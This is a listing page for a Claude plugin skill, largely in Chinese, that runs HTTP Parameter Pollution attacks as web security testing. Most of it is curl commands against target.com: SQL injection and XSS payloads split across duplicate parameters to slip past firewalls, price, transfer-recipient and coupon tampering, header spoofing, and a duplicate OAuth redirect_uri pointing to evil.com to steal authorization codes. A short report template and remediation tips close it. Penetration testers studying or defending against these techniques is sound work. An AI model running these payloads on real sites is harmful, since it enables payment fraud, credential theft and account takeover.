Executes HTTP Parameter Pollution (HPP) attacks using duplicate parameters to bypass input validation, WAF rules, and security controls in web apps. Useful for security testing OAuth, payments, and APIs.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试 Web 应用程序的输入验证绕过漏洞时
Executes HTTP Parameter Pollution attacks to bypass input validation, WAF rules, and security controls using duplicate parameters processed differently by servers. For web app and API security testing with Burp Suite and curl.
Guides HTTP Parameter Pollution attacks to bypass WAFs, input validation, and security controls in web apps/APIs via duplicate parameters exploiting server parsing differences.
Bypasses WAFs using encoding, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQLi, XSS payloads in pentesting and red team exercises.
Share bugs, ideas, or general feedback.
# 测试服务器如何处理重复参数
# 不同服务器对重复参数的处理方式不同:
# Apache/PHP:最后一个参数值
# ASP.NET/IIS:所有值以逗号连接
# JSP/Tomcat:第一个参数值
# Node.js/Express:值的数组
# Python/Flask:第一个参数值
curl -v "http://target.com/search?q=first&q=second"
# 观察应用程序在响应中使用哪个值
# 测试 POST 请求体中的重复参数
curl -X POST http://target.com/api/action \
-d "amount=100&amount=1"
# 通过分割载荷绕过输入验证
# 原始被阻止的载荷:id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1" # 被 WAF 阻止
# HPP 绕过:分散到重复参数中
curl "http://target.com/api/user?id=1%20OR&id=1%3D1" # 可能绕过 WAF
# POST 请求体中的参数污染
curl -X POST http://target.com/transfer \
-d "to_account=victim&amount=100&to_account=attacker"
# 覆盖安全关键参数
curl -X POST http://target.com/api/payment \
-d "price=99.99¤cy=USD&price=0.01"
# 通过 URL 操控进行客户端 HPP
# 如果应用程序在链接中反映参数:
# 原始:http://target.com/page?param=value
# 注入:http://target.com/page?param=value%26injected_param=evil_value
# 社交分享 URL 操控
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"
# 注入嵌入链接
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"
# WAF 通常检查单个参数值
# 将 SQL 注入分散到多个参数
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"
# 分割 XSS 载荷
curl "http://target.com/search?q=<script>&q=alert(1)</script>"
# URL 编码 HPP 绕过
curl "http://target.com/api/data?filter=admin%26role=superadmin"
# HTTP 头部中的 HPP
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Forwarded-For: attacker-ip" \
http://target.com/api/admin
# OAuth 授权码 HPP
# 注入重复的 redirect_uri 以窃取授权码
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"
# 支付金额操控
curl -X POST http://target.com/api/checkout \
-d "item=product1&price=100&quantity=1&price=1"
# 优惠券码 HPP
curl -X POST http://target.com/api/apply-coupon \
-d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"
# 使用 Burp Intruder 进行参数复制
# 在 Burp Repeater 中手动添加重复参数
# 使用 param-miner Burp 扩展自动发现
# 使用 OWASP ZAP HPP 扫描器测试
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
http://target.com
# 使用 Python 进行自定义测试
python3 hpp_tester.py --url http://target.com/api/action \
--params "id,role,amount" --method POST
| 概念 | 定义 |
|---|---|
| 服务器端 HPP(Server-Side HPP) | 后端以不同方式处理重复参数,导致逻辑绕过 |
| 客户端 HPP(Client-Side HPP) | 注入的参数被反映在发送给其他用户的 URL/链接中 |
| 参数优先级(Parameter Precedence) | 服务器行为:第一个获胜、最后一个获胜、连接或数组 |
| WAF 规避(WAF Evasion) | 将攻击载荷分散到重复参数以避免检测 |
| 特定技术解析(Technology-Specific Parsing) | 不同框架对重复参数的处理方式不同 |
| URL 编码 HPP(URL Encoding HPP) | 使用 %26(编码的 &)在值中注入额外参数 |
| 头部污染(Header Pollution) | 发送重复 HTTP 头以利用转发或信任逻辑 |
| 工具 | 用途 |
|---|---|
| Burp Suite | 用于拦截和复制参数的 HTTP 代理 |
| param-miner | 用于发现隐藏和重复参数的 Burp 扩展 |
| OWASP ZAP | 具备 HPP 检测功能的自动化扫描器 |
| Arjun | 隐藏 HTTP 参数发现工具 |
| ffuf | 用于参数暴力破解和复制测试的模糊测试工具 |
| Wfuzz | 支持参数操控的 Web 应用程序模糊测试器 |
## HTTP 参数污染评估报告
- **目标**:http://target.com
- **服务器技术**:ASP.NET/IIS(连接行为)
- **漏洞**:支付端点的服务器端 HPP
### 参数处理矩阵
| 技术 | 行为 | 已测试 |
|-----------|----------|--------|
| Apache/PHP | 最后一个值 | 是 |
| IIS/ASP.NET | 逗号连接 | 是 |
| Node.js | 数组 | 是 |
### 发现
| # | 端点 | 参数 | 影响 | 严重程度 |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | 价格操控 | 严重 |
| 2 | GET /oauth/authorize | redirect_uri | 令牌窃取 | 高 |
| 3 | POST /api/search | q | WAF 绕过(SQLi) | 高 |
### 修复建议
- 实施严格的参数验证,拒绝重复参数
- 使用任何参数的第一个出现值,忽略后续重复值
- 应用能检测重复参数模式的 WAF 规则
- 无论客户端检查如何,始终在服务器端验证所有参数